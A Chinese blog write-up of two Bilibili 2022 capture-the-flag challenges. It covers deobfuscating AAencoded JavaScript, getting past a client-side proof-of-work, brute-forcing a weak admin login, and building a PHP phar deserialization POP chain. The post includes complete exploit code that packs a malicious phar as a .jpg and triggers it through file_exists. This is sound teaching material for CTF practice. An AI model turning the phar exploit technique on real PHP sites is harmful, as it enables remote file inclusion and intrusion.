FlyingSky
回忆化成一场长的梦。
FlyingSky's Blog

Bilibili 2022 技术对抗赛 Write-up

Bilibili 2022 技术对抗赛 Write-up

和去年一样,今年的程序员节,Bilibili 又来搞了一场「技术对抗赛」,玩吗?那当然是要试试的。咱向来打比赛、玩游戏是不写 Write-up 的,一来是因为懒,二来是因为菜。既然群里有小伙伴说想看,咱就提笔写几题(我肯定没时间全写了)。

Crack 1

https://53985c39-7b1b-4626-9c1f-b30b1d8cf084.fsky7.com/wp-content/uploads/image-9.png
Crack 1 题目网页截图

先看题,如图所示是个登陆界面的网页,上面写着 ezintruder(翻译工具告诉我大概是「这是入侵者」的意思),还有「Take Care Of Your Memory!」的「温馨提示」。拿到网页题面按照惯例先翻代码,如果你急着去随便输入个账号密码然后点击「登录」按钮,那么不出所料你的网页会直接卡住,这时候应该想到去看题目在 JavaScript 上动了什么手脚。

https://53985c39-7b1b-4626-9c1f-b30b1d8cf084.fsky7.com/wp-content/uploads/image-8.png
AAencode 的特征就是满屏颜文字

这题的 JavaScript 文件不出意外是混淆过的,乍一看都是颜文字,那么大概只能是 AAencode,在互联网上不难找到其解码方式。

解码后的 JavaScript 略长,这里就不贴出来了。直觉告诉我这题考的不是密码学,所以上半部分 SHA256 函数全部跳过,其实现功能应该就如函数名所描述的一样,我们直接看最底下 $(“#btn”).click(function () { … }) 的关键部分:

// username:string | 输入框 username 的值
let username = document.getElementById('username').value.trim();
// password:string | 输入框 password 的值
let password = document.getElementById('password').value.trim();
// nonce:int | 在 [9,109) 范围内随机一个 nonce
let nonce = parseInt(Math.random() * 100 + 9);
// random:string | 隐藏着的输入框 random 的值(大概和 uid & flag 绑定)
let random = document.getElementById('random').value.trim();
// i:int | 在 [0, 2^255) 内循环求解(工作量证明)
for (var i = 0; i < Math.pow(2, 255); i++) {
    // 拼接字符串并计算哈希值 -> s256
    let mystr = username + password + random + i.toString();
    var s256 = SHA256(mystr);
    // s256 十六进制转为十进制 -> s256hex
    var s256hex = parseInt(s256, 16)
    // 工作量证明成功的条件:s256hex < 2^(256-nonce)
    // 所以 2^(256-nonce) 越大,也就是 nonce 越小,就越容易成功
    if (s256hex < Math.pow(2, (256 - nonce))) {
        // 提交数据后结束循环
        /* ... */
    }
}

分析完代码后发现「登录」这里有个工作量证明,而 nonce 越小,就越容易成功。因为 nonce 是在客户端这边随机出来的,所以不妨直接令其为最小值 9 ,这样做的话大概 i 循环到 1000 左右就都能算出来。剩下的内容就是账号密码,一贯风格:弱密码,写个脚本跑字典,连猜带跑就出来了。

这次的账号密码是 admin / Aa123456(题面上的 admin / ******** 也算是起到了提示作用)。猜对账号密码后「登录」会返回 {“msg”: “login success”} ,你会发现并没有你想要的 flag,再次提交则是 {“msg”: “you already have flag”}。此时会过来仔细看,内容藏在返回头里,同时返回的还有第 4 题的入口。

https://53985c39-7b1b-4626-9c1f-b30b1d8cf084.fsky7.com/wp-content/uploads/image-7.png
flag 和隐藏信息藏在 {“msg”: “login success”} 的响应头

至此,这题就解决了。以及,flag 是动态的,每个人拿到的都不一样,所以不贴出了。

Crack 2

这是 Crack 2 的题解,如果你在找其他题目的相关内容,不妨去我专栏列表或文集看看,说不定咱会写了并发出来,也可能不会。

拿到题就是一个谜语人的「upupup!」,以及这是一个 PHP 文件,这似乎在暗示着什么。连猜带蒙搞明白了 up → upload ,以及题面在 upload.php(甚至好心地提供了 upload.html ,我一开始没发现所以手写了上传用的 HTML)。

根据上传代码以及引入了个只有一堆奇奇怪怪类的 5d47c5d8a6299792.php ,大致认为这题需要利用 phar 协议造成 PHP 反序列化,然后通过构造的 POP 链拿到 flag 。稍微大致讲一下 phar ,它将 PHP 中的压缩打包文件,类似于 Java 的 jar 文件,phar 包有一个特性就是 PHP 在解析的时候总会尝试去反序列化(unserilize)这个包的 meta-data ,借此可以在没有用到 unserilize 函数的情况下进行反序列化攻击。

已知 upload.php 中有 file_exists($_GET[‘c’]) 可以用来调用 phar 文件,从而执行反序列化,那么需要去构造一个能够读 flag 的 POP 攻击链。所有能利用的类都放在一个文件里面了,所以先分析下 5d47c5d8a6299792.php 里类的代码。先是反序列化攻击的入口,通常是 __wakeup 或者 __destruct 这两个方法,由于这里只有 Show 类有 __wakeup 方法,所以入口只能是它:

public function __wakeup() {
    if (preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
        throw new Exception('invalid protocol found in '.__CLASS__);
    }
}

这里面只用到了 $this->source 一个变量,所以接下来肯定是利用它。preg_match 的第二个参数要求 string ,而如果 $this->source 是对象的话,就回去调用 __toString 这个魔术方法。纵观全文(件),还是只有 Show 类有 __toString 方法,所以还得用它:

public function __toString() {
    $this->str->reset();
}

此时你或许发现了 Show 类刚好有 reset ,但其实用不到。在这里如果 $this->str 是 Content 类对象的话,就可以直接调用到它的 __call 方法了。刚好,reset 作为 $name 传进 __call 后会调用 getFormatter 进行一个映射,然后就可以通过 call_user_func_array 做到任意函数执行了,只不过传不了参数:

public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }
    /* 后面的部分其实用不上,代码略 */
}

public function __call($name, $arguments)
{
    return call_user_func_array($this->getFormatter($name), $arguments);
    /* $obj = new Class();
     * call_user_func_array([$obj, 'do']);
     * ↑ 这样就可以调用实例化对象的方法了 */
}

接下来是哪里呢?自然是整个文件唯一的 include 函数所在的 Action 类的 run 方法,考虑直接去引用 /tmp/flag.php ,但是又有个针对 $this->id 的棘手判断:需要不为 0 或 1,但是在 switch 中又需要 case 0 才能执行 include 。

public function run()
{
    /* 这里过滤掉了 upload 文件夹,用来防止引用 phar 包任意代码执行,代码略 */
    if ($this->id !== 0 && $this->id !== 1) {
        switch ($this->id) {
            case 0:
                if ($this->checkAccess) {
                    include($this->checkAccess);
                }
                break;
            /* 代码略 */
        }
    }
}

但是你需要注意的是,if 语句中用的是 !== (强判断),而 switch … case 是弱判断。经典手法:让 $this->id 为 false 就行了。接下来构造整个 POP 链:

/* Show::__wakeup -> Show::__toString -> Content::__call -> Action::run -> include */

$obj = new Show(
    /* Show::$source */ (new Show(
        /* Show::$source */ null,
        /* Show::$str    */ (new Content(
            /* Content::$formatters */ ['reset' => [(new Action(
                /* Action::$checkAccess */ '/tmp/flag.php',
                /* Action::$id          */ false)), 'run']])),
        /* Show::$reader */ null)),
    /* Show::$str    */ null,
    /* Show::$reader */ null);

包括构建类到 phar 打包的完整代码如下:

<?php

class Show
{
    public $source;
    public $str;
    public $reader;
    public function __construct($source, $str, $reader)
    {
        $this->source = $source;
        $this->str = $str;
        $this->reader = $reader;
    }
}

class Content
{
    public $formatters;
    public function __construct($formatters)
    {
        $this->formatters = $formatters;
    }
}

class Action
{
    protected $checkAccess;
    protected $id;
    public function __construct($checkAccess, $id)
    {
        $this->checkAccess = $checkAccess;
        $this->id = $id;
    }
}

/**
 * 构造利用对象
 */
$obj = new Show((new Show(null, (new Content(['reset' => [(new Action('/tmp/flag.php', false)), 'run']])), null)), null, null);

/**
 * 打包 Phar 文件
 */
$phar = new Phar("gen.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("info.txt", "author: FlyingSky");
$phar->stopBuffering();

copy('gen.phar', 'phar.jpg');
unlink("gen.phar");

/**
 * 最后上传然后触发 Phar Metadata 解包
 * @link http://[REDACTED:IP]/upload.php?c=phar://upload/[REDACTED:FILENAME].jpg/info.txt
 */

上传并触发后拿到 flag 以及下一题入口:

/**
 * bilibili@2022.
 * Congratulations! This is The Flag!
 * Auth: K3iove@github
 * Repo: 1024-cheers
 * @link https://security.bilibili.com/
 * @license https://www.bilibili.com/
 */

flag2{PhAr_The_bEsT_Lang}

至此,这题就解决了。

FlyingSky's Blog

Bilibili 2022 技术对抗赛 Write-up
和去年一样,今年的程序员节,Bilibili 又来搞了一场「技术对抗赛」,玩吗?那当然是要试试的。咱向来打比赛、玩游戏是不写 Write-up 的,一来是因为懒,二来是因为菜。既然群里有小…
扫描二维码继续阅读
2022-11-01